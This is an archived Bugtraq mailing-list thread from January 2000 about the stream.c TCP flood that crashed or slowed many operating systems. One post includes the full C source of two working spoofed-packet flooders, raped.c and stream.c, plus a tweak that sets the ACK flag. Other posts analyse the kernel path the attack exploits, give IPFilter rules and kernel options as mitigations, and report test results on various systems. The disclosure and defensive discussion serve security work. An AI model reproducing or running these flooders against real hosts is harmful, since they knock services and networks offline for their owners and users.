From ttol@JAMES.KALIFORNIA.COM Sat Apr 29 17:32:24 2000 Date: Tue, 18 Jan 2000 14:44:38 -0800 Subject: stream.c - new FreeBSD exploit? From: The Tree of Life To: BUGTRAQ@SECURITYFOCUS.COM I've been informed today by an irc admin that a new exploit is circulating around. It "sends tcp-established bitstream shit" and makes the "kernel fuck up". It's called stream.c. The efnet ircadmin told me servers on Exodus (Exodus Communications) were being hit and they managed to get a hold of the guy. When asked what was going on, he just said "stream.c". When I talked to another person to ask if he had 'acquired' the source, he said he wasn't going to give it out. I asked him if he had a patch for it, and he replied "the fbsd team is working on it. No patch is available right now." What's the importance of this? Major companies such as Yahoo (www.yahoo.com) and others run freebsd. According to the irc admin, a simple reboot fixes it. "Your box reboots or dies." He also stated, when asked if anything noticeable happened, that "nothing unusual [happened]". The only log that he could provide was this one: ---snip--- syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty ---snip--- One thing of note: he also stated this happened on non-freebsd systems, which is contrary to what the other person said, who was "under the impression it was freebsd specific." I have the source, which I'm not going to post for 2-3 days (give time for fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. ---snip--- void usage(char *progname) { fprintf(stderr, "Usage: %s \n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); fprintf(stderr, " dstport - the port of the target, 0 = random.\n"); fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n"); exit(1); } ---snip--- Thanks for listening to my ramblings, hope everything I said helps. - ttol http://www.alladvantage.com/home.asp?refid=AME389 Get Paid to Surf. It works actually, cause people get thousands of dollars a month from it...it's neet :P My id is AME389 - use it! :) From yardley@UIUC.EDU Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 11:25:26 -0600 Subject: explanation and code for stream.c issues From: Tim Yardley To: BUGTRAQ@SECURITYFOCUS.COM stream.c issues --------------------------------------------------- :: temp remedy (exec summary) --------------------------------------------------- If you use ipfilter... -- start rule set -- block in quick proto tcp from any to any head 100 pass in quick proto tcp from any to any flags S keep state group 100 pass in all -- end rule set -- That will help you "stop" the attack, although it will still use some CPU though Note: If you use IPFW, there is no immediate way to solve this problem due to the fact that it is a stateless firewall. If you are getting attacked, then temporarily use ipfilter to stop it. Otherwise, wait for vendor patches. FreeBSD "unofficial patch" by Alfred Perlstein: http://www.freebsd.org/~alfred/tcp_fix.diff ------------------------------------------------ :: explanation of stream.c attack ------------------------------------------------ It mearly floods the host with ack's coming from random ips with random sequence numbers. This in itself is not too much of a problem, but rate limiting should be done to conteract its effect (the same idea as ICMP_BANDLIM). The attacker specifies the port that they want to send the acks to, depending on what ports are selected, you will have different net results. If the port is an open port, then you will have a longer kernel path to follow before the drop (at least in freebsd). Therefore, the smart attacker will hit open ports. Now, speaking specifically in terms of fbsd... this involves /sys/netinet/tcp_input.c In there, it will do a hash lookup on each and every packet in the function in_pcblookup_hash(). The wildcard bit was set by default, which would cause it to do 2 hash lookups per call, the reasoning is for connected syns (ie, recieving a syn during a connected stream already or for open ports) Since the attackers ack was recieved on something that was not already connected... fbsd will drop the packet. The problem is how they go about doing so. The same holds true for all other os's that I tested on. Again, in fbsd, the hash call returns a null pointer if it doesnt have a corresponding syn then if it isnt past the icmp_bandlim it drops with reset otherwise it just drops. The problem is.. if the attacker hits a port that is listening then one of the hash lookups will succeed and that means that the packet will not be immediately dropped, it will be processed a little first. Later in the code, if ((tiflags & (TH_RST|TH_ACK|TH_SYN)) != TH_SYN) { that line will cause the ACK attack packet to be dropped after some processing because it is not a syn packet (it will drop the packet with a RST). In the meantime, it ate up cpu cycles (checksums were calculated, hash lookups, and some other misc things) Overall it doesnt take much cpu time per packet... but it does take a lot of cpu time compared to a null pointer being returned on the hash lookup so, when you bombard a host with enough of these ack packets... it uses too much CPU and that causes the machine to either exhaust its resources, panic, lag horribly, and possibly crash in the end. In the best case scenario, you will experience only the lag of the flood and the lag of the processing (currently) and then be fine when the attacker stops, In the worst case, you reboot. Once you patch it, you deal with a lot less processing time (the drops are handled without the RST flag when appropriate -- bandlim type idea). In other words, you go to the drop routine instead of dropwithrst silencing your response, which decreases your processing time, the hit on your network, and the effect of the flood (once a threshold is reached, all those bad packets are silently dropped and the attack has less of a net effect). ----------------------- :: conclusion ----------------------- Since this is not as big of a deal as what it was made out to be and "fixes" exist, I am posting this explanation and code. I am not the finder of the "problem" or the author of stream.c, but full disclosure is a nice thing to see. -------------------- :: references -------------------- This was done independantly, although some of the analysis and reverse engineering of concept was done by other people. As a result, I would like to give credit where credit is due. The following people contributed in some way or another: Brett Glass Alfred Perlstein Warner Losh Darren Reed Also, I would like to send shouts out to w00w00 (http://www.w00w00.org/) ------------------- :: attached ------------------- There are two things attached, one is stream.c.. the other is raped.c. I threw together raped.c in about 30 minutes or so for the independant testing. A while after I was done testing, I was given a copy of stream.c. It seems as if they both have effects... but they are not substantial in my opinion (except in odd cases that I couldn't quite explain). These programs are for the sake of full disclosure, don't abuse them. -- start raped.c -- /* * raped.c by Liquid Steel [lst @ efnet -- yardley@uiuc.edu] * src: this is the old hose.c by prym, modified to suit my purposes * exploits: the stream.c "problem", not.. i did not have the stream.c source when this was written * this is just a reverse engineer based on discussion and tcp patches released. * compile: this is a 5 minute hack, and a 30 minute test prog, treat it as such * side note, this is obviously only for linux due to the header format. */ #include #include #include #include #include #include #include #include int ports, s, i; char *dsthost; unsigned long dst; unsigned long portarray[255]; void abort (void) { printf (":: exiting...\n\n"); close (s); exit (0); } void banner (void) { printf ("-------------------\n"); printf ("::\n"); printf (":: raped.c by lst\n"); printf ("::\n"); printf ("-------------------\n"); } void usage (char *progname) { printf ("usage: %s \n", progname); printf ("\t - destination host\n"); printf ("\t - ports to flood\n\n"); exit (1); } void parse_args (int argc, char *argv[]) { dsthost = argv[1]; for (i = 2; i < argc; i++) { ports++; portarray[ports] = atoi (argv[i]); } } unsigned long resolve_host (char *h) { struct hostent *host; if ((host = gethostbyname (h)) == NULL) { printf (":: unknown host %s\n", h); exit (1); } return *(unsigned long *) host->h_addr; } /* stolen from ping.c */ unsigned short in_cksum (u_short * addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; while (nleft > 1) { sum += *w++; nleft -= 2; } if (nleft == 1) { *(u_char *) (&answer) = *(u_char *) w; sum += answer; } sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); answer = ~sum; return (answer); } void send_tcp_segment (struct iphdr *ip, struct tcphdr *tcp, char *data, int dlen) { char buf[65536]; struct { unsigned long saddr; unsigned long daddr; char mbz; char proto; unsigned short tcplength; } ph; struct sockaddr_in sin; ph.saddr = ip->saddr; ph.daddr = ip->daddr; ph.mbz = 0; ph.proto = IPPROTO_TCP; ph.tcplength = htons (sizeof (*tcp) + dlen); memcpy (buf, &ph, sizeof (ph)); memcpy (buf + sizeof (ph), tcp, sizeof (*tcp)); memcpy (buf + sizeof (ph) + sizeof (*tcp), data, dlen); memset (buf + sizeof (ph) + sizeof (*tcp) + dlen, 0, 4); tcp->check = in_cksum ((u_short *) buf, (sizeof (ph) + sizeof (*tcp) + dlen + 1) & ~1); memcpy (buf, ip, 4 * ip->ihl); memcpy (buf + 4 * ip->ihl, tcp, sizeof (*tcp)); memcpy (buf + 4 * ip->ihl + sizeof (*tcp), data, dlen); memset (buf + 4 * ip->ihl + sizeof (*tcp) + dlen, 0, 4); ip->check = in_cksum ((u_short *) buf, (4 * ip->ihl + sizeof (*tcp) + dlen + 1) & ~1); memcpy (buf, ip, 4 * ip->ihl); sin.sin_family = AF_INET; sin.sin_port = tcp->dest; sin.sin_addr.s_addr = ip->daddr; if (sendto (s, buf, 4 * ip->ihl + sizeof (*tcp) + dlen, 0, &sin, sizeof (sin)) < 0) { perror (":: error: sending syn packet"); exit (1); } } int main (int argc, char *argv[]) { struct iphdr ip; struct tcphdr tcp; struct timeval tv; struct sockaddr_in sin; int blah = 1; signal (SIGINT, (void (*)()) abort); banner (); if (argc < 3) usage (argv[0]); parse_args (argc, argv); dst = resolve_host (dsthost); srand (time (NULL)); printf (":: destination host - %s\n", dsthost); printf (":: destination port(s)"); for (i = 1; i < ports + 1; i++) printf (" - %d", portarray[i]); printf ("\n"); if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror (":: error: can not open socket"); exit (1); } if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, (char *) &blah, sizeof (blah)) < 0) { perror (":: setsockopt"); exit (1); } ip.version = 4; ip.ihl = 5; ip.tos = 0x8; ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_TCP; ip.check = 0; ip.daddr = dst; tcp.res1 = 0; tcp.fin = 0; tcp.syn = 0; tcp.rst = 0; tcp.psh = 0; /* make it an ACK packet */ tcp.ack = 1; tcp.urg = 0; tcp.res2 = 0; tcp.urg_ptr = 0; printf (":: raping...\n"); printf (":: press ^C to end...\n"); for (;;) { for (i = 1; i < ports + 1; i++) { ip.saddr = rand (); ip.tot_len = sizeof (ip) + sizeof (tcp); ip.id = htons (random ()); tcp.source = htons (1024 + rand () % 32000); tcp.dest = htons (portarray[i]); /* randomize seq */ tcp.seq = random (); tcp.doff = sizeof (tcp) / 4; tcp.window = htons (16384); /* randomize ack */ tcp.ack_seq = random (); send_tcp_segment (&ip, &tcp, "", 0); } } return 1; } -- end raped.c -- -- start stream.c -- #include #include #include #include #include #include #include #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include #include #include #include #include #include #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long saddr, daddr; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; struct tcpopt_hdr { u_char type; /* type */ u_char len; /* length */ u_short value; /* value */ }; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip/*_hdr*/ ip; struct tcphdr tcp; /* struct tcpopt_hdr opt; */ }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct packet packet; struct cksum cksum; struct sockaddr_in s_in; u_short dstport, pktsize, pps; u_long dstaddr; int sock; void usage(char *progname) { fprintf(stderr, "Usage: %s \n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); fprintf(stderr, " dstport - the port of the target, 0 = random.\n"); fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n"); exit(1); } /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } void flooder(void) { struct timespec ts; int i; memset(&packet, 0, sizeof(packet)); ts.tv_sec = 0; ts.tv_nsec = 10; packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof(packet)); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; packet.ip.ip_dst.s_addr = dstaddr; packet.tcp.th_flags = 0; packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_sport = rand(); packet.tcp.th_dport = dstport?htons(dstport):rand(); /* packet.opt.type = 0x02; packet.opt.len = 0x04; packet.opt.value = htons(1460); */ cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; for(i=0;;++i) { cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); ++packet.ip.ip_id; ++packet.tcp.th_sport; ++packet.tcp.th_seq; if (!dstport) s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum)); if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("jess"); } } int main(int argc, char *argv[]) { int on = 1; printf("stream.c v1.0 - TCP Packet Storm\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } setgid(getgid()); setuid(getuid()); if (argc < 4) usage(argv[0]); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(1); } srand((time(NULL) ^ getpid()) + getppid()); printf("\nResolving IPs..."); fflush(stdout); dstaddr = lookup(argv[1]); dstport = atoi(argv[2]); pktsize = atoi(argv[3]); printf("Sending..."); fflush(stdout); flooder(); return 0; } -- end stream.c -- /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ From yardley@UIUC.EDU Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 11:42:24 -0600 Subject: Re: explanation and code for stream.c issues From: Tim Yardley To: BUGTRAQ@SECURITYFOCUS.COM At 11:25 AM 1/21/2000, Tim Yardley wrote: >stream.c issues > >--------------------------------------------------- >:: temp remedy (exec summary) >--------------------------------------------------- > >If you use ipfilter... > >-- start rule set -- >block in quick proto tcp from any to any head 100 >pass in quick proto tcp from any to any flags S keep state group 100 >pass in all >-- end rule set -- > >That will help you "stop" the attack, although it will still use some CPU >though > >Note: If you use IPFW, there is no immediate way to solve this problem due >to the fact that it is a stateless firewall. If you are getting attacked, >then temporarily use ipfilter to stop it. > >Otherwise, wait for vendor patches. > >FreeBSD "unofficial patch" by Alfred Perlstein: >http://www.freebsd.org/~alfred/tcp_fix.diff >-- start stream.c -- > packet.tcp.th_flags = 0; change this to a little different effect: packet.tcp.th_flags = TH_ACK; /tmy -- Diving into infinity my consciousness expands in inverse proportion to my distance from singularity +-------- ------- ------ ----- ---- --- -- ------ --------+ | Tim Yardley (yardley@uiuc.edu) | http://www.students.uiuc.edu/~yardley/ +-------- ------- ------ ----- ---- --- -- ------ --------+ From billf@CHC-CHIMES.COM Sat Apr 29 17:32:24 2000 Date: Thu, 20 Jan 2000 16:16:20 -0500 Subject: Re: stream.c - new FreeBSD exploit? From: Bill Fumerola To: BUGTRAQ@SECURITYFOCUS.COM On Tue, Jan 18, 2000 at 02:44:38PM -0800, The Tree of Life wrote: > When I talked to another person to ask if he had 'acquired' the source, he > said he wasn't going to give it out. I asked him if he had a patch for it, > and he replied "the fbsd team is working on it. No patch is available right > now." > > What's the importance of this? Major companies such as Yahoo > (www.yahoo.com) and others run freebsd. Major companies have firewalls too, but from what it sounds like, this attack may crash/freeze/reboot/whatever them as well. > According to the irc admin, a simple reboot fixes it. "Your box reboots or > dies." He also stated, when asked if anything noticeable happened, that > "nothing unusual [happened]". > > The only log that he could provide was this one: > > ---snip--- > syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > ---snip--- [hawk-billf] /sys > find . |xargs grep -ie 'free list empty' [hawk-billf] /sys > uname -mrs FreeBSD 4.0-CURRENT i386 > One thing of note: he also stated this happened on non-freebsd systems, > which is contrary to what the other person said, who was "under the > impression it was freebsd specific." The above is a Linux panic, so it obviously works on non-FreeBSD machines. It's a pity to attach FreeBSD to this exploit, as it obviously isn't specific to just the FreeBSD stack. I wish the FUD would just go away sometimes. -- Bill Fumerola - Network Architect Computer Horizons Corp - CVM e-mail: billf@chc-chimes.com / billf@FreeBSD.org Office: 800-252-2421 x128 / Cell: 248-761-7272 ps. I'm not speaking for CHC or for FreeBSD... From brett@LARIAT.ORG Sat Apr 29 17:32:24 2000 Date: Thu, 20 Jan 2000 20:01:33 -0700 Subject: Quick remedy for stream.c From: Brett Glass To: BUGTRAQ@SECURITYFOCUS.COM At 03:44 PM 1/18/2000 , The Tree of Life wrote: >I've been informed today by an irc admin that a new exploit is circulating >around. It "sends tcp-established bitstream shit" and makes the "kernel >fuck up". > >It's called stream.c. Actually, this affects most TCP stacks, including those in Linux, Solaris, and all of the BSDs. Not tested under NT or Windows, but I'll bet it does so there as well. The problem seems to stem from a worst-case path through the kernel's socket lookup code, followed by the overhead of generating a RST. A quick bull session on the FreeBSD Security list has produced a workaround that works on all of the BSDs and in fact anything that runs IPFilter. I asked Darren Reed, author of IPFilter (which now comes with all of the BSDs) if it's possible to block the attack using his firewall code, and he says it is. Darren writes that the rules are as follows: >pass in all >block in proto tcp all head 100 >pass in proto tcp from any to any flags S keep state group 100 (Change group 100 to something else if you're already using it in your firewall rules.) He's tested these rules on a Solaris 7 system and they seem to defeat the DoS. Note that you must be using Darren's IPFilter package for this to work. IPFW and some other firewalls do not remember the states of connections; they therefore can't detect the "established bistream shit" mentioned above. I'd recommend that all BSD users add Darren's rules as a first-pass fix for the problem. IPFilter also runs on Linux, but doesn't come with all distros. To get it, see http://cheops.anu.edu.au/~avalon/ --Brett Glass From avalon@COOMBS.ANU.EDU.AU Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 01:46:41 +1100 Subject: Re: stream.c - new FreeBSD exploit? From: Darren Reed To: BUGTRAQ@SECURITYFOCUS.COM In some mail from The Tree of Life, sie said: > > I've been informed today by an irc admin that a new exploit is circulating > around. It "sends tcp-established bitstream shit" and makes the "kernel > fuck up". > > It's called stream.c. > > The efnet ircadmin told me servers on Exodus (Exodus Communications) were being > hit and they managed to get a hold of the guy. When asked what was going > on, he just said "stream.c". > > When I talked to another person to ask if he had 'acquired' the source, he > said he wasn't going to give it out. I asked him if he had a patch for it, > and he replied "the fbsd team is working on it. No patch is available right > now." > > What's the importance of this? Major companies such as Yahoo > (www.yahoo.com) and others run freebsd. > > According to the irc admin, a simple reboot fixes it. "Your box reboots or > dies." He also stated, when asked if anything noticeable happened, that > "nothing unusual [happened]". > > The only log that he could provide was this one: > > ---snip--- > > syslog:Jan 18 12:30:36 x kernel: Kernel panic: Free list empty > > ---snip--- > > One thing of note: he also stated this happened on non-freebsd systems, > which is contrary to what the other person said, who was "under the > impression it was freebsd specific." > > I have the source, which I'm not going to post for 2-3 days (give time for > fbsd to work on the fix). If it isn't out before the 21st, I'll post it up. > > ---snip--- The above kernel message is from Linux 2.2, *NOT* FreeBSD. The behaviour and impact would appear to vary from OS to OS and maybe platform too. It does not appear to cause Solaris7/NetBSD to panic (in a hurry anyway). Darren From dfrasnel@DOXX.NET Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 11:52:42 -0800 Subject: Re: Quick remedy for stream.c From: "Frasnelli, Dan" To: BUGTRAQ@SECURITYFOCUS.COM Planned to reserve my comments until after the code went public, but since everyone is discussing it now.... > A quick bull session on the FreeBSD Security list has produced a workaround > that works on all of the BSDs and in fact anything that runs IPFilter. I > asked Darren Reed, author of IPFilter (which now comes with all of the BSDs) > if it's possible to block the attack using his firewall code, and he says > it is. Darren writes that the rules are as follows: The only fix you should need with a FreeBSD 3.x (and 4.x?) system is the option "ICMP_BANDLIM" in your config file. In my tests against a target on the same switch running 3.4RC (-stable), this option proved effective. Granted you fill up the message buffer as the system responds, but that's a minor effect. Tested BSD/OS 4.0.1, Solaris 2.6/sparc and Linux 2.2.14 (homebrew distr); none were using filter nor firewall packages, none were affected negatively. Not to imply stream.c does not affect _some_ configuration (ie. out-of-box) of the tested operating systems... just that I was unable to duplicate the supposed DoS. > He's tested these rules on a Solaris 7 system and they seem to defeat > the DoS. Has anyone actually tested this against Solaris, or is it just assumed to be vulnerable? I hammered a Solaris 2.6/sparc box (SS20, pl 105181-05) over a 100Mb crossover for a solid 15 minutes without noticable effect to established or newly-established sessions. Verified the packets were being sent from both the attack and target ends - at the specified rate. I wonder if we're working with the same 'stream.c' ;-) Regards, -- Dan Frasnelli Security analyst From bella@PCI.POLTAVA.UA Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 22:38:11 +0200 Subject: Re: Quick remedy for stream.c From: bella To: BUGTRAQ@SECURITYFOCUS.COM On Thu, 20 Jan 2000, Brett Glass wrote: > >I've been informed today by an irc admin that a new exploit is circulating > >around. It "sends tcp-established bitstream shit" and makes the "kernel > >fuck up". > > > >It's called stream.c. > > Actually, this affects most TCP stacks, including those in Linux, Solaris, > and all of the BSDs. Not tested under NT or Windows, but I'll bet it does so > there as well. The problem seems to stem from a worst-case path through the > kernel's socket lookup code, followed by the overhead of generating > a RST. My linux box seems like unvulnerable... Port 80 (open). And localhost and remote restore pinging immediately after breaking stream. With worked stream remote machine pinging slow. ~80% packets is loss. localhost not loss packets. Remote FreeBSD-2.6 not response with worked stream. After breaking stream response immediately. Novel Netware 5 over 100Mb/s connection. First connection very slow, but later ping going very fine with worked stream. Responding time ~0.2-1 ms. NPI DS-24 Switch over 100 Mb/s connection. VERY SLOW response ~15000-20000 ms, 95% packets loss if streaming non-worked port. If stream flood on worked port - no response. After exiting stream - no response. ooops! Phisical port disabled! UnixWare7 (7.0.1) over 100 Mb/s. Port 80. With worked stream - no response. After breaking stream - no response. TCP/IP stack down? Windows'98 over 100 Mb/s. Port 139. Some freez. Pinging slow. ~80% packets loss. After breakin stream slow restore. SCO OpenServer5 - remote. Port 80 (closed). Slow response with worked stream. After breaking stream - all work fine. Port 23 (open). With worked stream - very slow response. After breaking - fast restore. Windows NT - remote. Port 80 (open). With worked stream - slow response. After breakin - fast restore. Lan Administrator E-mail: bella@pci.poltava.ua Phone: +380 05322 21535 Member of WaZeLin Trio Team From vanja@relaygroup.com Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 04:01:37 +0700 Subject: stream.c/raped.c tests (just for stats) From: Vanja Hrustic To: BUGTRAQ@SECURITYFOCUS.COM Hi. Since everybody will probably start submitting the 'results' of stream.c/raped.c testing, I'll do it too :) Absolutelly nothing (except usual 'bandwidth rape' DoS against poor 10Mbit LAN link :) has happened to following systems: Linux 2.2.13 (RH 6.1 based) Linux 2.2.14 (RH 6.1 based) HP-UX 10.20 Windows NT Server 4.0 I've left stream/raped running for more than 10 minutes against all those systems, and only HP-UX had CPU usage above normal (around 50% was used). However, that HP-UX box is so old that any higher load of traffic will cause it to go to 50% of CPU :) I've tried both 'modified' (TH_ACK flag set) and original stream.c. Nothing at all. Raped.c - nothing at all. I don't know if it makes any difference, but all Linux boxes have OpenWall patch (Solar Designer's) applied. No need to publish this. It's just for stats, if anybody is collecting it. -- Vanja Hrustic The Relay Group http://relaygroup.com Technology Ahead of Time From slayer67@APK.NET Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 17:55:53 -0500 Subject: Fw: stream.c From: Dino Amato To: BUGTRAQ@SECURITYFOCUS.COM [ Part 1, Text/PLAIN (charset: Unknown "Windows-1252") 22 lines. ] [ Unable to print this part. ] [ The following text is in the "Windows-1252" character set. ] [ Your display is set for the "iso-8859-1" character set. ] [ Some characters may be displayed incorrectly. ] Well I tried it against a Win2000 Server, and it held up  little better, but it still has the CPU maxed-out to 100% and it has been going for about 12 minutes without dying. If anything else MS has a bug to fix already and its not even for released.   Sent: Friday, January 21, 2000 5:40 PM Subject: stream.c HI- Well I compiled stream.c under RedHAt 6.1 and ran it against a NT 4.0 box w/sp5 on it and it brought it to a crawl cpu wise and it disconnected my modem off the internet. I cancelled it the attack against myself because I didnt feel liek waiting to reboot my machine ;) Any thoughts?    --------------------------------------------  Dino Amato -------------------------------------------- From charon@HADES.HELL.GR Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 05:06:56 +0200 Subject: Re: explanation and code for stream.c issues From: Giorgos Keramidas To: BUGTRAQ@SECURITYFOCUS.COM On Fri, Jan 21, 2000 at 01:15:27PM -0600, Tim Yardley wrote: > > As was mentioned in the "advisory/explanation" on the issue, ipfw cannot > deal with the problem due to the fact that it is stateless. > > The attack comes from random ip addresses, therefore throttling like that > only hurts your connection or solves nothing at all. In other words, the > random sourcing and method of the attack, makes a non-stateless firewall > useless. Substitute 'stateless' for 'non-stateless' above. A stateless firewall, like IPFW is the type of firewall that is useless. -- Giorgos From Don.Lewis@TSC.TDK.COM Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 04:03:19 -0800 Subject: Re: explanation and code for stream.c issues From: Don Lewis To: BUGTRAQ@SECURITYFOCUS.COM On Jan 22, 2:14pm, Vladimir Dubrovin wrote: } Subject: Re[4]: explanation and code for stream.c issues } Hello Don Lewis, } } 22.01.00 13:58, you wrote: explanation and code for stream.c issues; } } D> } Intruder sends SYN packet and then sends, lets say 1000 ACK packets to } D> } the same port from same port and source address. SYN packet will open } D> } ipfilter to pass all others packets. This attack doesn't need } D> } randomization for each packet. } } D> Instead of producing RST responses, this will produce ACKs. Your earlier } D> comment about this prompted my comment in another thread about the } D> possible need to rate limit ACK packets. } } This will not produce ACK packets, if ACK send by intruder doesn't } conform sequence number in the SYN/ACK response of victim. Original } stream.c used [snip] } But it's not principial - victim will reply RST for this packet in } most cases. Ok, you are correct. The attacker would have to guess or sniff the initial sequence number in order to produce a flood of ACK responses, so the stack is in better shape than I feared. I'm getting too tired to really analyze this, but I also think that repeatedly sending the original SYN (sorry for the pun) won't cause a flood of responses. I think the victim will periodically resend the SYN+ACK packet for which it expects an ACK. From techs@obfuscation.org Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 14:31:08 -0500 Subject: Re: explanation and code for stream.c issues From: Erik Fichtner To: BUGTRAQ@SECURITYFOCUS.COM On Fri, Jan 21, 2000 at 11:25:26AM -0600, Tim Yardley wrote: > If you use ipfilter... ...and if you don't, you should... http://coombs.anu.edu.au/~avalon/ip-filter.html ...and if you're stuck, read our fine HOWTO... http://www.obfuscation.org/ipf/ipf-howto.txt > Note: If you use IPFW, there is no immediate way to solve this problem due > to the fact that it is a stateless firewall. If you are getting attacked, > then temporarily use ipfilter to stop it. ...and if you want to convert your FreeBSD rc.firewall from IPFW to IPFilter, Brendan Conoboy has been working on a patch to add "easy ipf" to your system. This patch can be found at: http://www.swcp.com/~synk/ipfmerge.patch -- Erik Fichtner; Warrior SysAdmin (emf|techs) 34.9908% http://www.obfuscation.org/~techs N 38 53.055' W 77 21.860' 764 ft. "What's the most effective Windows NT remote management tool?" "A car." -- Stephen Northcutt From frank@STUDENT.RUG.AC.BE Sat Apr 29 17:32:24 2000 Date: Sat, 22 Jan 2000 11:39:51 +0100 Subject: Re: stream.c - new FreeBSD exploit? From: "Frank (sysadmin)" To: BUGTRAQ@SECURITYFOCUS.COM > The above kernel message is from Linux 2.2, *NOT* FreeBSD. > > The behaviour and impact would appear to vary from OS to OS and maybe > platform too. It does not appear to cause Solaris7/NetBSD to panic > (in a hurry anyway). Nothing on Windows 2000 (RC3) either ... Regarding the firewall rules: I know that the 'connection keeping' is important, but difficult. I also know that ipfilter does The Right Way(tm). How about others? Cisco has some connection keeping, but I heard that it is not the same. Will it block the stream.c attack? And ipchains/ipfw? I guess not, but would like some confirmation ... frank -- Frank Louwers Unix System Administrator PGP: 1024D/3F6A7EDD D597 566A BDF5 BBFB C308 447A 5E81 1188 3F6A 7EDD [ Part 2, Application/PGP-SIGNATURE 240bytes. ] [ Unable to print this part. ] From brett@LARIAT.ORG Sat Apr 29 17:32:24 2000 Date: Fri, 21 Jan 2000 13:43:43 -0700 Subject: Re: explanation and code for stream.c issues From: Brett Glass To: BUGTRAQ@SECURITYFOCUS.COM Tim: Good summary! You might want to add that, under FreeBSD 3.4 and FreeBSD-Current, you can also turn on tcp_restrict_rst and it will help some (not an ideal fix, but it's something that can be done quickly. You will most likely have to recompile the kernel with the TCP_RESTRICT_RST option first, because it is not there by default. The kernel still spends more time than it should figuring out that the ACK is bogus, but at least once it does, it drops it cold. It does not try to send a RST (which, in turn, may generate an ICMP "unreachable" message from the router since the source address is spoofed). This ought to prevent the system from doing more than slowing down a bit if it's attacked. Folks who need to rewrite their firewall rules to move from IPFW to IPFilter can do this while they're working on the conversion. To turn on tcp_restrict_rst, recompile your kernel with the option TCP_RESTRICT_RST and then turn on tcp_restrict_rst in rc.conf. --Brett From yardley@UIUC.EDU Sat Apr 29 17:32:24 2000 Date: Fri, 